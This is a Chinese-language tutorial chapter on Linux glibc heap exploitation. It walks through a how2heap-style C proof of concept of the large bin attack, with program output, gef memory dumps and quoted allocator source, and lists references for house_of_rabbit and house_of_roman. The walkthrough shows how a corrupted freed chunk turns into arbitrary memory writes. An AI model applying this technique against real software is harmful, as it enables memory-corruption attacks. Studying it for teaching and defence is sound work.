# 3.1.9 Linux 堆利用（四） - [how2heap](#how2heap) - [large_bin_attack](#large_bin_attack) - [house_of_rabbit](#house_of_rabbit) - [house_of_roman](#house_of_roman) - [参考资料](#参考资料) [下载文件](../src/Others/3.1.6_heap_exploit) ## how2heap ### large_bin_attack ```c #include #include int main() { unsigned long stack_var1 = 0; unsigned long stack_var2 = 0; fprintf(stderr, "The targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2); unsigned long *p1 = malloc(0x100); fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2); malloc(0x10); unsigned long *p2 = malloc(0x400); fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2); malloc(0x10); unsigned long *p3 = malloc(0x400); fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2); malloc(0x10); // deal with tcache - libc-2.26 // int *a[10], *b[10], i; // for (i = 0; i < 7; i++) { // a[i] = malloc(0x100); // b[i] = malloc(0x400); // } // for (i = 0; i < 7; i++) { // free(a[i]); // free(b[i]); // } free(p1); free(p2); fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n"); malloc(0x30); fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n"); p2[-1] = 0x3f1; p2[0] = 0; p2[2] = 0; p2[1] = (unsigned long)(&stack_var1 - 2); p2[3] = (unsigned long)(&stack_var2 - 4); fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n"); free(p3); malloc(0x30); fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n"); fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2); } ``` ```text $ gcc -g large_bin_attack.c $ ./a.out The targets we want to rewrite on stack: stack_var1 (0x7fffffffdeb0): 0 stack_var2 (0x7fffffffdeb8): 0 Now, we allocate the first chunk: 0x555555757000 Then, we allocate the second chunk(large chunk): 0x555555757130 Finally, we allocate the third chunk(large chunk): 0x555555757560 Now, We free the first and the second chunks now and they will be inserted in the unsorted bin Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist Now we use a vulnerability to overwrite the freed second chunk Finally, we free the third chunk and malloc again, targets should have already been rewritten: stack_var1 (0x7fffffffdeb0): 0x555555757560 stack_var2 (0x7fffffffdeb8): 0x555555757560 ``` 该技术可用于修改任意地址的值，例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏，例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。 首先我们分配 chunk p1, p2 和 p3，并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下： ```text gef➤ x/2gx &stack_var1 0x7fffffffde70: 0x0000000000000000 0x0000000000000000 gef➤ x/4gx p1-2 0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 0x555555757010: 0x0000000000000000 0x0000000000000000 gef➤ x/8gx p2-6 0x555555757110: 0x0000000000000000 0x0000000000000021 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 0x555555757140: 0x0000000000000000 0x0000000000000000 gef➤ x/8gx p3-6 0x555555757540: 0x0000000000000000 0x0000000000000021 0x555555757550: 0x0000000000000000 0x0000000000000000 0x555555757560: 0x0000000000000000 0x0000000000000411 <-- p3 0x555555757570: 0x0000000000000000 0x0000000000000000 gef➤ x/8gx p3+(0x410/8)-2 0x555555757970: 0x0000000000000000 0x0000000000000021 0x555555757980: 0x0000000000000000 0x0000000000000000 0x555555757990: 0x0000000000000000 0x0000000000020671 <-- top 0x5555557579a0: 0x0000000000000000 0x0000000000000000 ``` 然后依次释放掉 p1 和 p2，这两个 free chunk 将被放入 unsorted bin： ```text gef➤ x/8gx p1-2 0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 [be freed] 0x555555757010: 0x00007ffff7dd3b78 0x0000555555757130 0x555555757020: 0x0000000000000000 0x0000000000000000 0x555555757030: 0x0000000000000000 0x0000000000000000 gef➤ x/8gx p2-2 0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed] 0x555555757140: 0x0000555555757000 0x00007ffff7dd3b78 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000 → Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) → Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE) [+] Found 2 chunks in unsorted bin. ``` 接下来随便 malloc 一个 chunk，则 p1 被切分为两块，一块作为分配的 chunk 返回，剩下的一块继续留在 unsorted bin（p1 的作用就在这里，如果没有 p1，那么切分的将是 p2）。而 p2 则被整理回对应的 large bin 链表中： ```text gef➤ x/14gx p1-2 0x555555757000: 0x0000000000000000 0x0000000000000041 <-- p1-1 0x555555757010: 0x00007ffff7dd3c78 0x00007ffff7dd3c78 0x555555757020: 0x0000000000000000 0x0000000000000000 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x00000000000000d1 <-- p1-2 [be freed] 0x555555757050: 0x00007ffff7dd3b78 0x00007ffff7dd3b78 <-- fd, bk 0x555555757060: 0x0000000000000000 0x0000000000000000 gef➤ x/8gx p2-2 0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed] 0x555555757140: 0x00007ffff7dd3f68 0x00007ffff7dd3f68 <-- fd, bk 0x555555757150: 0x0000555555757130 0x0000555555757130 <-- fd_nextsize, bk_nextsize 0x555555757160: 0x0000000000000000 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040 → Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin. gef➤ heap bins large [ Large Bins for arena 'main_arena' ] [+] large_bins[63]: fw=0x555555757130, bk=0x555555757130 → Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) [+] Found 1 chunks in 1 large non-empty bins. ``` 整理的过程如下所示，需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列，如果大小相同则按照最近使用顺序排列： ```c /* place chunk in bin */ if (in_smallbin_range (size)) { [ ... ] } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { [ ... ] } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { [ ... ] } if ((unsigned long) size == (unsigned long) fwd->size) [ ... ] else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else [ ... ] } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; ``` 假设我们有一个漏洞，可以对 large bin 里的 chunk p2 进行修改，结合上面的整理过程，我们伪造 p2 如下： ```text gef➤ x/8gx p2-2 0x555555757130: 0x0000000000000000 0x00000000000003f1 <-- fake p2 [be freed] 0x555555757140: 0x0000000000000000 0x00007fffffffde60 <-- bk 0x555555757150: 0x0000000000000000 0x00007fffffffde58 <-- bk_nextsize 0x555555757160: 0x0000000000000000 0x0000000000000000 ``` 同样的，释放 p3，将其放入 unsorted bin，紧接着进行 malloc 操作，将 p3 整理回 large bin，这个过程中判断条件 `(unsigned long) (size) < (unsigned long) (bck->bk->size)` 为假，程序将进入 else 分支，其中 `fwd` 是 fake p2，`victim` 是 p3，接着 `bck` 被赋值为 (&stack_var1 - 2)。 在 p3 被放回 large bin 并排序的过程中，我们位于栈上的两个变量也被修改成了 `victim`，对应的语句分别是 `bck->fd = victim;` 和 `ictim->bk_nextsize->fd_nextsize = victim;`。 ```text gef➤ x/2gx &stack_var1 0x7fffffffde70: 0x0000555555757560 0x0000555555757560 gef➤ x/8gx p2-2 0x555555757130: 0x0000000000000000 0x00000000000003f1 0x555555757140: 0x0000000000000000 0x0000555555757560 0x555555757150: 0x0000000000000000 0x0000555555757560 0x555555757160: 0x0000000000000000 0x0000000000000000 gef➤ x/8gx p3-2 0x555555757560: 0x0000000000000000 0x0000000000000411 0x555555757570: 0x0000555555757130 0x00007fffffffde60 0x555555757580: 0x0000555555757130 0x00007fffffffde58 0x555555757590: 0x0000000000000000 0x0000000000000000 ``` 考虑 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，在 free 之前把两种大小的 tcache bin 都占满。 ### house_of_rabbit ### house_of_roman ## 参考资料 - [House of Rabbit - Heap exploitation technique bypassing ASLR](http://shift-crops.hatenablog.com/entry/2017/09/17/213235) - https://github.com/shift-crops/House_of_Rabbit - [House_of_Roman](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc) - https://github.com/romanking98/House-Of-Roman